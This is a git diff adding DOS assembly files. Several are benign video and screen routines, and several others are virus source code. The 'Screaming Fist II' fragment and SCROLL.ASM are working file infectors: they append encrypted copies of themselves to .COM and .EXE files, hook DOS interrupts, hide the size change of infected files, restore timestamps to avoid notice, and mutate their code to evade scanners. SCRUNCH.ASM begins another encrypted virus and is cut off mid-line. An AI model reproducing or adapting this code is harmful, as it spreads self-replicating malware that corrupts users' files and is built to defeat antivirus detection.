+;; +; Attach our viral code to the target file ; +; This portion is shared by the .EXE and the .COM infectors to be more ; +; efficient ; +;; + +ATTACH: + + MOV AX,5700H ;Get the file time and date + CALL FUNCTION + PUSH CX ;And save them for later + PUSH DX + +INFECT: + + XOR AX,AX + MOV DS,AX + MOV AX,[046CH] ;Get a random encryption key from timer + MOV DL,AH ;Save part of it in DL + PUSH CS ;DS=CS + POP DS ; + MOV ENC_BYTE,AL ;Save keys in our code + MOV ENC_BYTE_2,DL + PUSH CS ;CS=ES + POP ES +;ͻ +;This section provides a semi-random encryption code mutation based on our +;encryption keys. Look at each line for a desc. of what it does to the code. +;ͼ + TEST AL,1 + JZ SKIP_1 + XOR WORD PTR ENC_SWITCH,0ABDEH ;MOV SI,BP <=> PUSH BP POP SI +SKIP_1: + TEST DL,1 + JZ SKIP_2 + XOR BYTE PTR [ENC_SWITCH_2 + 1],012H ;OR DL,AL <=> XOR AL,DL +SKIP_2: + TEST AL,2 + JZ SKIP_4 + XOR BYTE PTR [ENC_SWITCH_4 + 2],010H +SKIP_4: + TEST DL,2 + JZ SKIP_5 + XOR BYTE PTR [ENC_SWITCH_5 + 2],010H +SKIP_5: + TEST AL,3 + JZ SKIP_6 + XOR BYTE PTR [ENC_SWITCH_1 + 1],08H +SKIP_6: + TEST DL,3 + JZ SKIP_7 + XOR BYTE PTR [ENC_SWITCH_3 + 1],08H +SKIP_7: + TEST AL,4 + JZ SKIP_8 + XOR BYTE PTR [ENC_SWITCH_6 + 1],08H +SKIP_8: + MOV SI,CURTAIN_OPEN + MOV DI,DATA_END + PUSH DI + PUSH DI + MOV CX,LENGTH + REPZ MOVSB + POP SI + ADD SI,4 + CALL ENCRYPT_US + POP DX + MOV AH,40H ;Code for handle write + MOV CX,LENGTH ;Length of our viral code + CALL FUNCTION ;Write all of virus + +MAKE_HEADER: + MOV AX,4200H ;Set file pointer to beginning + XOR CX,CX ;Zero out CX + XOR DX,DX ;Zero out DX + CALL FUNCTION + MOV AH,40H ;Write to file + MOV DX,OFFSET BUFFER ;Starting at BUFFER + MOV CX,BUF_LENGTH ;Write BUF_LENGTH bytes + CALL FUNCTION + +;; +; This restores the files original date and time ; +;; + +RESTORE_TIME: + MOV AX,5701H ;Restore original date and time + POP DX ;To what was read in earlier + POP CX ; + CALL FUNCTION ; + JMP LEAVE_AND_CLOSE ;Leave + +DONE: + MOV DX,OFFSET OLD_24_BX W ;Move the old INT 24's address + MOV DS,OFFSET OLD_24_ES W ;so we can restore it + MOV AX,2524H ;Restore it + CALL FUNCTION + POP ES ;Restore all registers + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + RET ;And quit + +RESTORE_ATTRIBS: +;; +; This routine restores the files original attributes. ; +;; + MOV AX,4301H ;Restore original attribs + MOV CX,[OLD_ATTRIBS] ;To what was read in earlier + MOV DS,OLD_DS + CALL FUNCTION + RET + +NEW_24: + XOR AX,AX ;Any error will simply be ignored + STC ;Most useful for write protects + IRET + +;; +;Please don't be a lamer and change the text to claim it was your own creation ; +;; + +TEXT DB 'Screaming Fist II' ;For the AV people, can't have a dumb name! +COMMAND DB 'C:\COMMAND.COM',00 ;File infected + +;; +; This routine checks to see if the file at DS:DX has an extension of either ; +; .COM or .EXE. AX is set to zero if either condition is met, and non-zero ; +; If they aren't. ; +;; + +CHECK_NAME: + PUSH SI + MOV SI,DX + +CHECK_FOR_PERIOD: + LODSB + OR AL,AL + JZ LEAVE_NAME_CHECK + CMP AL,'.' + JNZ CHECK_FOR_PERIOD + LODSB + AND AL,0DFH + CMP AL,'C' + JZ MAYBE_COM + CMP AL,'E' + JZ MAYBE_EXE + JMP SHORT LEAVE_NAME_CHECK + +MAYBE_COM: + LODSW + AND AX,0DFDFH + CMP AX,'MO' + JZ FILE_GOOD + JMP SHORT LEAVE_NAME_CHECK + +MAYBE_EXE: + LODSW + AND AX,0DFDFH + CMP AX,'EX' + JNZ LEAVE_NAME_CHECK + +FILE_GOOD: + XOR AX,AX + +LEAVE_NAME_CHECK: + POP SI + RET + +;ͻ +;This is the encryption routine. This is the only portion that remains +;unencrypted. The bytes mark by an ENC_SWITCH are changed to throw off SCAN +;ͼ + +ENC_START EQU $ + +DECRYPT_US: + POP BP + PUSH BP + +ENC_SWITCH EQU $ + MOV SI,BP ;Alternates between this and PUSH BP, POP SI + + MOV AL,CS:[BP+ENC_BYTE-NEXT_PLACE] ;Get ENC key #1 + MOV DL,CS:[BP+ENC_BYTE_2-NEXT_PLACE] ;Get ENC key #2 + +ENCRYPT_US: + MOV CX,ENC_LENGTH ;Length to encrypt or decrypt + +ENCRYPT_US_II: +ENC_SWITCH_1 EQU $ + NOT AL ;Alternates bewtween NOT and NEG + +ENC_SWITCH_2 EQU $ + XOR DL,AL ;Alternates between this and XOR AL,DL + +ENC_SWITCH_4 EQU $ + XOR BYTE PTR CS:[SI],AL ;Alternates bewteen AL and DL + SUB AL,DL + +ENC_SWITCH_3 EQU $ + NOT DL ;Alternates between NOT and NEG + +ENC_SWITCH_5 EQU $ + XOR BYTE PTR CS:[SI],DL ;Alternates between DL and AL + INC SI ;INC encryption pointer +ENC_SWITCH_6 EQU $ + INC DL ;Alternates between INC and DEC + LOOP ENCRYPT_US_II + RET + +ENC_BYTE DB 00 ;Storage space for encryption keys +ENC_BYTE_2 DB 00 + +FINI EQU $ + +LENGTH = FINI - CURTAIN_OPEN + +;; +;This is the data table and is not included in the virus size ; +;; +DATA_BEGIN EQU $ + +OLD_ATTRIBS DW 00 00 ;File's old attributes + +OLD_24_ES DW 00 00 ;Saves address of old INT 24 +OLD_24_BX DW 00 00 + +OLD_DS DW 00 00 ;Saves DS and ES here on entering +OLD_ES DW 00 00 + +BUFFER_BEGIN EQU $ +BUFFER EQU $ + DB 1BH DUP(0) ;Buffer for bytes read in from file +BUFFER_END EQU $ + +DATA_END EQU $ + +DATA_LENGTH = DATA_END - DATA_BEGIN ;Length of Data Table + +BUF_LENGTH = BUFFER_END - BUFFER_BEGIN ;Length of file buffer + +ENC_LENGTH = ENC_START - OFFSET NEXT_PLACE diff --git a/s/SCRN2.ASM b/s/SCRN2.ASM new file mode 100755 index 0000000..46ef279 --- /dev/null +++ b/s/SCRN2.ASM @@ -0,0 +1,230 @@ + TITLE scrn2.asm + +; AUTHOR Tim Spencer - Compuserve [73657,1400] +; DATE March 15, 1987 + +_TEXT SEGMENT BYTE PUBLIC 'CODE' +_TEXT ENDS + +_DATA SEGMENT WORD PUBLIC 'DATA' + +SCRN STRUC ; screen data structure - defined in video.h +off dw 0 ; offset (cursor position) +seg dw 0 ; screen buffer address +port dw 0 ; status port address +attrib dw 0 ; attribute to use +cgacrd dw 0 ; retrace checking enabled if not zero +SCRN ENDS + +_DATA ENDS + +DGROUP GROUP _DATA + ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING + + +_TEXT SEGMENT BYTE PUBLIC 'CODE' + +;-----------------------------------------------------------------------; +; scrn_puts - MSC callable routine for printing a string directly to ; +; the screen buffer. ; +; ; +; Usage: scrn_puts(string, attribute, &structure_name); ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +scrn_puts_args STRUC ; args as pushed by calling program + dw 0 ; saved bp value + dw 0 ; return address +str_ptr dw 0 ; address of string +sstruc dw 0 ; pointer to SCRN structure +scrn_puts_args ENDS +_DATA ENDS + + PUBLIC _scrn_puts + +_scrn_puts PROC NEAR + push bp ;set up frame pointer + mov bp,sp + push di + push si + mov si,[bp].str_ptr ; get the string pointer + mov bx,[bp].sstruc ; get pointer to SCRN structure + les di,dword ptr[bx].off ; put offset in di, buffer addr in es + mov ch,byte ptr[bx].attrib ; put attribute in cx + mov dx,[bx].port ; get status port address + +load_one: + lodsb ; load a char and advance str ptr + or al,al ; is it null ? + jz puts_exit ; yes, lovely chatting. Chow babe. + mov cl,al ; no, save in cl for a few millisecs + cmp [bx].cgacrd, 0 ; cga card present? + jnz swait1 ; yes...go wait + mov ax,cx ; no. + stosw ; write it + jmp short load_one ; as fast as you can! +swait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc swait1 ; loop if still tracing + cli ; disable writus interuptus +swait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc swait2 ; still waiting... + mov al,cl ; load the char into al for stosb + stosb ; write it and update pointer + sti ; enable interrupts again +swait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc swait3 + cli +swait4: + in al, dx + shr al, 1 + jnc swait4 + mov al,ch ; load the attribute + stosb + sti + jmp short load_one ; and get another + +puts_exit: + mov [bx].off,di ; save new offset ( cur pos ) + pop si + pop di + pop bp + ret +_scrn_puts ENDP + + + +;-----------------------------------------------------------------------; +; scrn_putca - MSC callable function to print a char and attribute ; +; directly to the screen buffer. The logical cursor ; +; position IS UPDATED on return. ; +; ; +; Usage: scrn_putca(char, attribute, &structure_name ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +scrn_putca_args STRUC ; args as pushed by calling program + dw 0 ; saved bp value + dw 0 ; return address +pchar dw 0 ; char to write +pstruc dw 0 ; pointer to SCRN structure +scrn_putca_args ENDS +_DATA ENDS + + PUBLIC _scrn_putca + +_scrn_putca PROC NEAR + push bp ; set up frame pointer + mov bp,sp + push di + mov bx,[bp].pstruc ; get pointer to SCRN structure + les di,dword ptr[bx].off ; get offset in di, buffer addr in es + mov dx,[bx].port ; status port address + mov ch,byte ptr[bx].attrib ; get attribute into ch + mov cl,byte ptr[bp].pchar ; and char into cl + cmp [bx].cgacrd, 0 ; cga card present? + jnz cwait1 ; yes...go wait + mov ax,cx ; no. + stosw ; write it + jmp short cexit ; exit. + +cwait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc cwait1 ; loop if still tracing + cli ; disable writus interuptus +cwait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc cwait2 ; still waiting... + mov al,cl ; load the char into al for stosb + stosb ; write it and update pointer + sti ; enable interrupts again +cwait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc cwait3 + cli +cwait4: + in al, dx + shr al, 1 + jnc cwait4 + mov al,ch ; load the attribute + stosb + sti ; whew...all done...enable interrupts +cexit: + mov [bx].off, di ; update logical cursor position + pop di ; (offset) before leaving + pop bp + ret +_scrn_putca ENDP + + +;-----------------------------------------------------------------------; +; _scrn_getca - get char and attrib from screen ; +; ; +; usage: char = scrn_getca(&attrib,p_scn_data) ; +; ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +getca_args STRUC ; input arguments + dw 0 ; saved BP value + dw 0 ; return address +gattrib dw 0 ; store attribute here +gstruct dw 0 ; pointer to SCRN +getca_args ENDS +_DATA ENDS + + PUBLIC _scrn_getca + +_scrn_getca PROC NEAR + push bp ; set up frame pointer + mov bp,sp + push si + + mov bx,[bp].gstruct ; get pointer to SCRN structure + mov dx,[bx].port ; get status port address + push ds ; lds uses ds - must save + lds si,dword ptr[bx].off ; get offset and segment address +gwait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc gwait1 ; loop if still tracing + cli ; disable writus interuptus +gwait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc gwait2 ; still waiting... + lodsb ; get the char into al + sti ; enable interrupts again + mov cl,al ; save the char in cl +gwait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc gwait3 + cli +gwait4: + in al, dx + shr al, 1 + jnc gwait4 + lodsb ; get the attribute in al + sti + pop ds ; restore data segment to norm + mov word ptr [bx],si ; update offset (logical cursor) + mov si,word ptr[bp].gattrib ; get address to store attrib + mov byte ptr [si],al ; store the attribute at "&attrib" + mov al,cl ; move the char to al and + xor ah,ah ; zero out ah so that ax = char, + ; the return value + pop si + pop bp + ret +_scrn_getca ENDP + +_TEXT ENDS + + END +  \ No newline at end of file diff --git a/s/SCRN3.ASM b/s/SCRN3.ASM new file mode 100755 index 0000000..85431e5 --- /dev/null +++ b/s/SCRN3.ASM @@ -0,0 +1,251 @@ + TITLE scrn3.asm + +; AUTHOR Tim Spencer - Compuserve [73657,1400] +; DATE March 17, 1987 + +_TEXT SEGMENT BYTE PUBLIC 'CODE' +_TEXT ENDS + +_DATA SEGMENT WORD PUBLIC 'DATA' +SCRN STRUC ; screen data structure - defined in video.h +off dw 0 ; offset (cursor position) +seg dw 0 ; screen buffer address +port dw 0 ; status port address +attrib dw 0 ; attribute to use +cgacrd dw 0 ; enable retrace checking if not zero +SCRN ENDS + +_DATA ENDS + +DGROUP GROUP _DATA + ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING + + +_TEXT SEGMENT BYTE PUBLIC 'CODE' + +;-----------------------------------------------------------------------; +; scrn_restore - MSC callable function to restore a rectangular area ; +; of the screen buffer. Checks for vertical retrace ; +; only if the external structure member cga_card is ; +; non-zero. &scrn is the address of that structure. ; +; (see video.h). ; +; ; ; +; Note: This procedure uses stosb in retrace checking mode (instead of ; +; movsb) because it stuffs the char/attrib into the screen buffer ; +; slightly faster. ; +; ; +; Usage: scrn_restore(left, right, top, bottom, data_buff, &scrn) ; +; ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +restore_args STRUC ; structure for easy argument reference + dw 0 ; saved BP value + dw 0 ; return address +rleft dw 0 ; rectangular boundries... +rright dw 0 +rtop dw 0 +rbottom dw 0 +mdata dw 0 ; address of data buffer to write to screen +mstruct dw 0 ; pointer to SCRN structure(defined in video.h) +restore_args ENDS + +cga db 0 ; variable to hold cga_card value +_DATA ENDS + + PUBLIC _scrn_restore + +_scrn_restore PROC NEAR + push bp ; set up frame pointer + mov bp,sp + push si + push di + mov bx,[bp].mstruct ; get pointer to SCRN structure + les di,dword ptr[bx].off ; get scrn seg in es, off in di + mov dx,[bx].port ; get status port address + mov ax,[bx].cgacrd ; hold cga status in variable cga + mov cga,al + mov si,[bp].mdata ; make si point to data buffer + mov bh,byte ptr[bp].rtop ; top will be incremented until it + mov bl,byte ptr[bp].rbottom ; is greater than bottom, then exit. + xor cx,cx ; set initial logical cursor position + mov cl,bh ; by getting top into cx, + mov al,80 ; multiplying by 80, + mul cl + mov cx,ax + add cx,[bp].rleft ; adding left. + shl cx,1 ; and multiplying by 2 + mov di,cx ; put result into di + mov cx,[bp].rright ; get the length of one line into + sub cx,[bp].rleft ; cx by subtracting left from right + add cx,1 ; adding 1 + push cx ; save it + mov ax,79 ; calculate offset from end of line to + sub ax,[bp].rright ; the start of the next line + add ax,[bp].rleft + shl ax,1 + push ax ; and save it +write_line: + cmp cga,0 ; cga card in use? + jnz rwait1 ; yes, go wait + rep movsw ; no, warp speed. + jmp short rcheck_pos ; go check position +rwait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc rwait1 ; loop if still tracing + cli ; disable writus interuptus +rwait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc rwait2 ; still waiting... + mov al,[si] ; load the char into al for stosb + stosb ; write it and update pointer + sti ; enable interrupts again + inc si ; point si at attribute +rwait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc rwait3 + cli +rwait4: + in al, dx + shr al, 1 + jnc rwait4 + mov al,[si] ; load the attribute + stosb + sti + inc si ; point si at next char + loop rwait1 +rcheck_pos: + pop ax ; restore offset to next line start + pop cx ; restore count + inc bh ; is top greater than bottom yet? + cmp bh,bl + ja rexit ; yes. + push cx ; no, save count again + push ax ; save line start offset again + add di,ax ; move di to start of next line + jmp short write_line ; write another line +rexit: + pop di + pop si + pop bp + ret +_scrn_restore ENDP + + + +;-----------------------------------------------------------------------; +; scrn_save - MSC callable function to save a rectangular area of the ; +; screen to a user defined buffer. ; +; ; +; Usage: scrn_save(left, right, top, bottom, data_buff, &scrn) ; +;-----------------------------------------------------------------------; +_DATA SEGMENT +save_args STRUC ; structure for easy argument reference + dw 0 ; saved bp value + dw 0 ; return address +sleft dw 0 ; rectangular boundries +sright dw 0 +stop dw 0 +sbottom dw 0 +sbuff dw 0 ; user defined buffer to hold screen contents +sstruct dw 0 ; pointer to SCRN structure (see video.h) +save_args ENDS +_DATA ENDS + +scga db 0 ; store cga true/false value here - must be + ; declared outside data segment because es and + ; ds are swapped in this function. + + PUBLIC _scrn_save + +_scrn_save PROC NEAR + push bp ; set up frame pointer + mov bp,sp + push si + push di + push ds + mov bx,[bp].mstruct ; get pointer to SCRN structure + mov dx,[bx].port ; get status port address + mov ax,[bx].cgacrd ; hold cga status in variable scga + mov scga,al + mov ax,ds + mov es,ax ; get data segment into es + mov di,[bp].sbuff ; and offset of user buffer in di + mov ax,[bx].seg ; get the screen segment and + mov ds,ax ; put in ds + mov bh,byte ptr[bp].stop ; top will be incremented until it + mov bl,byte ptr[bp].sbottom ; is greater than bottom, then exit. + xor cx,cx ; set initial logical cursor position + mov cl,bh ; by getting top into cx, + mov al,80 ; multiplying by 80, + mul cl + mov cx,ax + add cx,[bp].sleft ; adding left. + shl cx,1 ; and multiplying by 2 + mov si,cx ; put result into si + mov cx,[bp].sright ; get the length of one line into + sub cx,[bp].sleft ; cx by subtracting left from right + add cx,1 ; adding 1 + push cx ; save it + mov ax,79 ; calculate offset from end of line to + sub ax,[bp].sright ; the start of the next line + add ax,[bp].sleft + shl ax,1 + push ax ; and save it +read_line: + cmp cga,0 ; cga card in use? + jnz swait1 ; yes, go wait + rep movsw ; no, warp speed. + jmp short scheck_pos ; go check position +swait1: + in al, dx ; wait for end of retrace + shr al, 1 ; test horizontal trace bit + jc swait1 ; loop if still tracing + cli ; disable writus interuptus +swait2: + in al, dx ; now wait until the very moment + shr al, 1 ; when the next retrace begins + jnc swait2 ; still waiting... + mov al,[si] ; load the char into al for stosb + stosb ; write it and update pointer + sti ; enable interrupts again + inc si ; point si at attribute +swait3: + in al, dx ; repeat these steps for the attribute + shr al, 1 + jc swait3 + cli +swait4: + in al, dx + shr al, 1 + jnc swait4 + mov al,[si] ; load the attribute + stosb + sti + inc si ; point si at next char + loop swait1 +scheck_pos: + pop ax ; restore offset to next line start + pop cx ; restore count + inc bh ; is top greater than bottom yet? + cmp bh,bl + ja sexit ; yes. + push cx ; no, save count again + push ax ; save line start offset again + add si,ax ; move di to start of next line + jmp short read_line ; write another line +sexit: + pop ds + pop di + pop si + pop bp + ret +_scrn_save ENDP + + +_TEXT ENDS + + END + \ No newline at end of file diff --git a/s/SCRN4.ASM b/s/SCRN4.ASM new file mode 100755 index 0000000..713213a --- /dev/null +++ b/s/SCRN4.ASM @@ -0,0 +1,55 @@ + TITLE scrn4.asm + +; AUTHOR Tim Spencer - Compuserve [73657,1400] +; DATE March 19, 1987 + +_TEXT SEGMENT BYTE PUBLIC 'CODE' +_TEXT ENDS + +_DATA SEGMENT WORD PUBLIC 'DATA' +_DATA ENDS + +DGROUP GROUP _DATA + ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING + + +_TEXT SEGMENT BYTE PUBLIC 'CODE' + +;-----------------------------------------------------------------------; +; vcard_type - Tests for type of video card in use ; +; ; +; Returns: 0 = MONOCHROME ADAPTER ; +; 1 = COLOR GRAPHICS ADAPTER ; +; 2 = ENHANCED GRAPHICS ADAPTER ; +;-----------------------------------------------------------------------; + + PUBLIC _vcard_type + +_vcard_type PROC NEAR + push es + mov ax,40h ; point es to BIOS area + mov es,ax + mov al,es:[87h] ; is there an EGA card? + cmp al,0 + je mono_test ; no ega, check for mono + test al,00001000b ; test bit 3 + jnz mono_test ; bit 3 was set - ega not active card + mov ax,2 ; ega is in use...return a 2 + jmp short exit +mono_test: + mov al,es:[10h] ; get video status byte + and al,00110000b ; isolate bits 4 and 5 + cmp al,48 ; is it a mono card? + jne assume_cga ; no, assume it's a cga + mov ax,0 ; return 0 for mono card + jmp short exit +assume_cga: + mov ax,1 ; return a 1 for cga card +exit: pop es + ret +_vcard_type ENDP + +_TEXT ENDS + + END +  \ No newline at end of file diff --git a/s/SCROLL.ASM b/s/SCROLL.ASM new file mode 100755 index 0000000..1333480 --- /dev/null +++ b/s/SCROLL.ASM @@ -0,0 +1,426 @@ + + NAME XX2 + PAGE 55,132 + TITLE ????? + +len equ offset handle-offset main2 +enlen1 equ offset int21-offset main3 + + +code segment + + + ASSUME CS:CODE,DS:CODE,ES:CODE + + org 100h + + +main: xor si,si + call level1 + jmp main2 + dd 0h + + +main2: call level1 + jmp main3 + +int24 dd 0h + +level1: call nextline +nextline: pop ax + xchg si,ax + sub si,offset nextline + lea di,(main3+si) + mov cx,enlen1 +uncry1: xor byte ptr ds:[di],01h +key: inc di + loop uncry1 + ret + + +main3: lea ax,(oldstart+si) + mov di,0100h + mov cx,2 + xchg si,ax + cld + repz movsw + + xchg si,ax + + mov cs:[scrolrq],00h + + mov ax,0f307h + int 21h + cmp ax,0cf9h + je run_old + jmp instal + +run_old: mov ax,cs + mov ds,ax + mov es,ax + mov ax,0100h + jmp ax + +instal: xor ax,ax ; Residency Routine + push ax + mov ax,es + dec ax + mov es,ax + pop ds + cmp byte ptr es:[0],5ah + jne run_old + mov ax,es:[3] + sub ax,0bch + jb run_old + mov es:[3],ax + sub word ptr es:[12h],0bch + mov es,es:[12h] + push ds + push cs + pop ds + + mov di,offset main2 + lea ax,(main2+si) + xchg si,ax + mov cx,len + cld + repz movsb + pop ds + + xchg si,ax + + mov ah,2ah + int 21h + cmp cx,1993 + jb instal_int21 + cmp dl,3 + jne instal_int21 + cmp al,4h + jne instal_int21 + jmp instal_scrol + +instal_int21: xor ax,ax + mov ds,ax + mov ax,ds:[0084h] + mov bx,ds:[0086h] + mov word ptr es:[int21],ax + mov word ptr es:[int21+2],bx + cli + mov ds:[0084h],offset new21 + mov ds:[0086h],es + sti + push cs + pop es + jmp run_old + +; Int 1ch Handler + +new1c: inc word ptr cs:[count] + cmp word ptr cs:[count],1554h + jb chain_1c + + push ax + push dx + push ds + + xor ax,ax + mov ds,ax + mov dx,word ptr ds:[0463h] + in al,dx + push ax + mov al,8 + out dx,al + inc dx + in al,dx + mov ah,al + inc ah + and ah,0fh + and al,0f0h + or al,ah + out dx,al + pop ax + dec dx + out dx,al + + pop ds + pop dx + pop ax +chain_1c: jmp cs:[int1c] + + + +int1c dd 0h +count dw 0h +scrolrq db 0h + + +; Int 21h Handler + +adjust_fcb: push bx + push es + push ax + mov ah,2fh + call i21 + pop ax + call i21 + push ax + cmp al,0ffh + je not_fcb_adjust + cmp byte ptr es:[bx],0ffh + jne normal_fcb + add bx,7 +normal_fcb: mov al,byte ptr es:[bx+17h] + and al,1fh + cmp al,1fh + jne not_fcb_adjust + sub es:[bx+1dh],len +not_fcb_adjust: pop ax + pop es + pop bx + retf 2 + + +check_fcb: cmp ah,11h + je adjust_fcb + cmp ah,12h + je adjust_fcb + jmp check_infect + + +new21: cmp ax,0f307h + jne check_for_handle + neg ax + retf 2 + +check_for_handle: cmp ah,4eh + jb check_fcb + + cmp ah,4fh + ja check_infect + jmp adjust + + + +chain_21: jmp cs:[int21] + + +check_infect: cmp byte ptr cs:[scrolrq],0ffh + je chain_21 + cmp ah,3dh + je open_request + cmp ah,4bh + je open_request + jmp chain_21 + +open_request: push ax + push bx + push cx + push dx + push es + push bp + push di + push ds + mov di,dx + mov cx,6fh +next_byte: cmp ds:[di],'C.' + jne inc_pointer + cmp ds:[di+2],'MO' + jne inc_pointer + cmp byte ptr ds:[di+4],00h + jne inc_pointer + jmp infect_it + +inc_pointer: inc di + loop next_byte + +exit_21: pop ds + pop di + pop bp + pop es + pop dx + pop cx + pop bx + pop ax + jmp chain_21 + +infect_it: + mov bp,sp + mov dx,ss:[bp+8] + mov ax,4300h + call i21 + mov cs:[file_attr],cx + and cx,01fh + cmp cx,2 + jae exit_21 + xor cx,cx + mov ax,4301h + call i21 + + +open_file: mov ax,3d02h + call i21 + jc exit_21 + mov cs:[handle],ax + mov ax,cs + mov ds,ax + mov es,ax + + mov ax,5700h + call file_int21 + mov ds:[file_time],cx + mov ds:[file_date],dx + + mov ah,3fh + mov dx,offset oldstart + mov cx,4h + call file_int21 + + mov ax,4200h + xor cx,cx + mov dx,word ptr ds:[oldstart+1] + add dx,3 + call file_int21 + + mov ah,3fh + mov dx,offset buff + mov cx,5 + call file_int21 + + mov di,offset buff + mov si,offset main2 + mov cx,5 + cld +compare_next: repz cmpsb + je close_21 + +no_marker: mov ax,4202h + xor cx,cx + mov dx,cx + call file_int21 + + cmp ax,0fd00h-len + ja close_21 + sub ax,3 + mov word ptr ds:[jump+1],ax + + call encry_and_save + + mov ax,4200h + xor cx,cx + mov dx,cx + call file_int21 + + mov ah,40h + mov cx,3 + mov dx,offset jump + call file_int21 + + mov cx,ds:[file_time] + or cl,01fh + mov dx,ds:[file_date] + mov ax,5701h + call file_int21 + + mov dx,ss:[bp+8] + pop ds + push ds + mov ax,4301h + mov cx,cs:[file_attr] + call i21 + +close_21: mov ah,3eh + call file_int21 + jmp exit_21 + +instal_scrol: push es + mov ah,12h + mov bx,2210h + int 10h + pop es + cmp bx,2210h + jne change_int8 + jmp instal_int21 + + + +adjust: push es + push bx + push ax + mov ah,2fh + call i21 + pop ax + call i21 + pushf + push ax + jc ret_from_inter + mov ah,byte ptr es:[bx+16h] + and ah,01fh + cmp ah,01fh + jne ret_from_inter + sub word ptr es:[bx+1ah],len +ret_from_inter: pop ax + popf + pop bx + pop es + retf 2 + +file_int21: mov bx,cs:[handle] +i21: pushf + call cs:[int21] + ret + +change_int8: mov ax,351ch + push es + int 21h + pop ds + mov word ptr ds:[int1c],bx + mov word ptr ds:[int1c+2],es + + mov ax,251ch + mov dx,offset new1c + int 21h + push ds + pop es + mov byte ptr ds:[scrolrq],0ffh + + jmp instal_int21 + +; Data Area + +info db '[SCROLL]',00h + db 'ICE-9' + db ' ARcV',00h + + +oldstart: mov ah,4ch + int 21h + +jump db 0e9h,00h,00h +command db '\COMMAND.COM',00h + +int21 dd 0h + +encry_and_save: cli + call level1 + mov ah,40h + mov cx,len + mov bx,ds:[handle] + mov dx,offset main2 + pushf + call cs:[int21] + call level1 + add byte ptr cs:[key-1],2 + sti + ret + + +handle dw 0h +file_time dw 0h +file_date dw 0h +file_attr dw 0h + +buff db 70h dup (?) + +code ends + +end main \ No newline at end of file diff --git a/s/SCROLLER.ASM b/s/SCROLLER.ASM new file mode 100755 index 0000000..a574298 --- /dev/null +++ b/s/SCROLLER.ASM @@ -0,0 +1,99 @@ +; Resident program to provide flicker-free write_tty scroll for Color +; Graphics Adapter clones with dual-ported memory. M. Abrash 5/3/86. +; Make runnable with MASM-LINK-EXE2BIN. +cseg segment + assume cs:cseg + org 100h ;necessary for COM file +start proc near + jmp makeres +old_int10 dd ? +; front end routine for BIOS video handler to scroll without flicker +scroll_front_end: + cmp ax,0e0ah ;only intercept write_tty function + jnz pass_to_bios ; called with linefeed + push ax + push bx + mov ah,0fh + int 10h ;get current page & mode + cmp al,2 + jz check_row ;BIOS only blanks in modes 2 & 3, so + cmp al,3 ; only intercept linefeed scroll in + jnz pass_to_bios2 ; modes 2 & 3 +check_row: ;see if cursor is on bottom row, in + push cx ; which case linefeed causes scroll + push dx + mov ah,3 + int 10h ;get cursor location in current page + cmp dh,24 + jnz pass_to_bios3 ;cursor not on bottom row, no scroll + push ds ;meets all the criteria, so perform + push es ; scroll in current page with special + push si ; routine that doesn't disable video + push di + mov ah,0fh + int 10h ;get # columns & page + mov al,ah + sub ah,ah ;convert to word + push ax ;set aside # columns + mov si,ax + shl si,1 ;move from second row (each character=2 bytes) + mov ah,24 + mul ah ;# words to move (24 rows) + mov cx,ax + sub ax,ax ;now adjust offsets for current page + mov ds,ax ;buffer length is stored in BIOS segment + mov al,bh ;get current page + mul word ptr ds:[44ch] ;offset of start of current page + add si,ax ;move data from second row of current page + mov di,ax ; to top of current page + mov ax,0b800h + mov ds,ax + mov es,ax ;will move data in display segment + cld + rep movsw ;scroll screen up + mov ah,8 ;BH already has current page + int 10h ;get attribute of character at cursor + mov al,' ' ;fill with blanks & attribute just obtained + pop cx ;# of words per row + rep stosw ;blank bottom row-DI points to bottom row + pop di ;done + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + iret +pass_to_bios3: + pop dx + pop cx +pass_to_bios2: + pop bx + pop ax +pass_to_bios: ;pass interrupt to normal BIOS handler + jmp cs:[old_int10] +endres: +; make scroll front end handler resident & revector interrupt 10 to it +makeres: + push cs + pop ds + assume ds:cseg + mov ax,3510h ;DOS get vector function, vector 10h + int 21h ;get vector 10h + mov word ptr [old_int10],bx ;set aside old vector to + mov word ptr [old_int10+2],es ; allow pass to BIOS + mov ax,2510h ;DOS set vector function, vector 10h + mov dx,offset scroll_front_end ;revector interrupt + int 21h ; 10h to front end routine + mov dx,offset endres ;# of paragraphs to make + mov cl,4 ; resident-can't do with an + shr dx,cl ; expression because assembler can't + inc dx ; calculate w/relocatable label + mov ax,3100h ;DOS make resident fn, exit code=0 + int 21h ;terminate & stay resident +start endp +cseg ends + end start + + \ No newline at end of file diff --git a/s/SCRUNCH.ASM b/s/SCRUNCH.ASM new file mode 100755 index 0000000..695d41d --- /dev/null +++ b/s/SCRUNCH.ASM @@ -0,0 +1,251 @@ +; [SCRUNCH] by Abraxas + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov di,offset startencrypt ; start of decryption +decrypt_loop: + db 81h,35h ; xor word ptr [di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub 